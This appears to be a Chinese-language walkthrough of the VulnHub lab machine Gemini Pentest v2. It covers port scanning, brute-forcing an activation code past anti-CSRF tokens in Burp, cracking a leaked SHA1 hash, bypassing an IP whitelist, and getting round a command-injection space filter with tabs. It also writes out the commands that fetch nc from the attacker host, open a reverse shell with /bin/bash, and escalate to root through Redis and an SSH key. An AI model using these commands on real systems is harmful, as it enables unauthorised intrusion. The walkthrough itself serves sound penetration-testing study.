GeminiLnc-Pentest-v2
一、靶机介绍
靶机地址
https://download.vulnhub.com/geminiinc/Gemini-Pentest-v2.zip
涉及攻击方法:
- 主机发现
- 端口扫描
- 信息搜集
- 隐藏路径爬取
- 开放注册
- 验证码爆破
- Anti CSRF Token
- 密码破解
- WAF Bypass
- 命令注入绕过
- SSH公钥认证
- Redis漏洞利用
- 本地提权
二、主机发现
arp-scan -l |
靶机地址为:192.168.43.1 53
三、端口扫描
3.1、tcp端口扫描
nmap -p- 192.168.43.153 |
靶机端口22和80端口开放
3.2、udp端口扫描
nmap -sU --top-port 20 192.168.43.153 |
扫描upd协议常见端口,发现服务都没启动
80端口开放,访问web页面,
用靶机1的账号密码登录,发现账号密码不对
四、目录扫描
使用dirb扫描
dirb http://192.168.43.153/ -r |
-r 表示迭代爬取,就是发现一层目录,会顺着这层目录直接往下爬取,比如 111/222/333这种
没发现什么有用信息
指定扫描一下特定文件,dirb特性,如果不指定不会扫描特定的文
dirb http://192.168.43.153/ -r -X .php |
-X 扫描指定后缀文件
扫描出两个有用的目录,一个时activate.php页面,一个时registration.php
一个是激活页面
一个是注册页面
http://192.168.43.153/registration.php |
admin
1234
好像要注册两次才能注册成功
登录成功后发现需要激活才能使用,提示注册码是6个数字,6个数字第一反应就是爆破了
由于激活页面第一个表格让填的信息是uid而不是用户名,点击到my profile这个页面,url会显示用户的uid
五、Anti CSRF Token
抓激活页面,发现请求包中会带着token
token验证:就是客户端携带生成一个字符串(token)发送到服务端,服务端验证是也会带着这个token,与客户端的进行验证,账号密码正确,并且token相同才能登录成功,并且token每次登录都会变化,不像cookie那样
这里可以看到,每次请求包和相应包中的token都是相同的,但是重新发送一个请求包,token值就会变化
第二个请求包中,token和第一个不同了
5.1、burp绕过token爆破
将请求包发送到爆破板块,这里将密码和token指定为变量
**!!!攻击类型改为Pitchfork **
指定一下爆破变量的类型,第一个是激活码我们已经知道是个6位的数字了
指定好1的爆破类型后,下面就是设置读取每次的token了,
转到设置界面,在grep-extract中选择添加,
然后点击下半界面下的Refetch response,将响应包刷新出来,
找的token,将token这个字符串选中,然后上面就会自己生成一个正则表达式,切记一定是正好选中token,不要多也不要少,不然表达式会出问题。
然后指定token的爆破类型,这里类型选Recursive grep,下面就会出现刚才指定好的正则表达式
由于token的特性,每次请求都会变化,所以将爆破线程改为1,防止多线程同时爆破,token会对应不上,
将错误后的重试次数改成0,同样也是防止重试时导致token请求包和响应包的对应不上。
设定好这一切后开始爆破
可以根据长度和状态码进行判断,状态码302重定向了,并且长度跟其他的包的长度也不同
把爆破界面关了,然后刷新了一下,发现直接就进去了,如果刷新一下没登陆成功,那就重新登录一下
六、源代码信息泄露
根据靶机1,尝试一下这个xss漏洞是否还存在,发现在这个靶机中已经没法利用了
点击列表发现9emin1是管理员权限,其他用户都是成员
查看了一下源代码,发现注释存在一个密码
edbd1887e772e13c251f688a5f10c1ffbb67960d
这里点开我们自己注册的用户,发现同样存在,根据字符串猜测是MD5加密的,由于我们注册的密码我们自己知道,所以可以验证时什么加密的
7110eda4d09e062aa5e4a390b0a572ac0d2c0220
密码破解
验证一下密码使用sha1加密后的结果
echo -n "1234" | sha1sum |
发现我们在自己注册用户页面下的密码注释一样,所以确定是sha1加密
两个网站都能解密出来
secretpassword
sha1: edbd1887e772e13c251f688a5f10c1ffbb67960d — decoded hash va (md5hashing.net)
七、WAF Bypass
账号:Gemini
密码:secretpassword
发现存在一个execute Command,命令执行的界面
直接访问返回值是403,使用burp抓包一下响应包,发现返回内容是ip白名单,我们这个IP不在白名单中,这里也可以更改xxf进行绕过
在burp扩展中下载bypass waf
下载好后,设置一规则
规则指定好后,选中一下规则涉及范围,这里全选上就行了
这里少截了一个图,这个图是我随便截的因为靶机已经关了,我懒得开了,在http history中将网站根目录右键选中,add to scope 就是将其加入到刚才设定的bypass规则中
这里应该是没成功的意思,点击re-enable就行了
然后重新刷新一下界面,发现就进去了
八、命令注入绕过
这里使用ls -la查看目录,发现命令没有执行成功,burp抓包分析了一下,发现是空格被过滤了,这里绕过方式擦用的是使用tab键进行替换,tab键编码位%09
为了省事设置一下自动替换,在burp中空格使用那个+,将+替换为%09(tab键)
这样就自动在抓包界面自动替换了,
每次在页面执行命令都要在页面抓包一下,不然不会将+替换的
九、反弹shell
发现靶机上没有nc,将kali中的传到靶机上,一会反弹shell
which nc |
在nc目录下,起个python web服务
wget http://192.168.43.130:9999/nc -O /tmp/nc |
- O
指定文件下载后存放的路径
/tmp/nc 192.168.43.130 5555 -e /bin/bash |
-e 执行的命令 这里执行的命令是/bin/bash ,给出一个命令行界面
反弹成功,升级一下shell
python -c "import pty;pty.spawn('/bin/bash')" |
发现在当前目录下存在一个txt文件,查看发现就是一个黑名单,空格在黑名单之中
查看靶机中相关端口信息,发现3306和6379这两个端口,开放,由于redis一般比mysql更好容易突破,这里从redis入手
ss -pantu |
查看进程,发现redis是root权限执行的,这里也能验证从redis入手是对的
ps -ef |grep redis |
十、redis漏洞利用
切换到redis默认安装路径下
cd /etc/redis |
8a7b86a2cd89d96dfcc125ebcc0535e6
查看配置文件,看到存在密码
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 |
终端连接,但是由于我们是反弹shell的界面,即使使用python升级了一下终端,但是在操作redis时仍然乱码了
为了解决这个使用密钥直接连接
十一、SSH公钥认证
在kali中生成密钥
ssh-keygen |
切换到根目录
cd ~ |
进入ssh目录,看到密钥已经生成
由于刚才那个乱码退不出来了,重新反弹了一个shell
cd /home/gemini1 切换到用户目录下 |
nc 192.168.43.153 4444 < id_rsa.pub -w 1 |
将公钥传送到靶机中,并且传送完成后1秒九断开
传送完成后,使用密钥登录,然后进入redis控制终端就会被乱码了
ssh gemini1@192.168.43.153 -i id_rsa |
十二、提权
先从redi终端退出
quit |
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 |
将密钥以root权限写入到root目录下的ssh中了
使用密码登录,成功获取的root权限
ssh root@192.168.43.153 -i id_rsa |
参考文章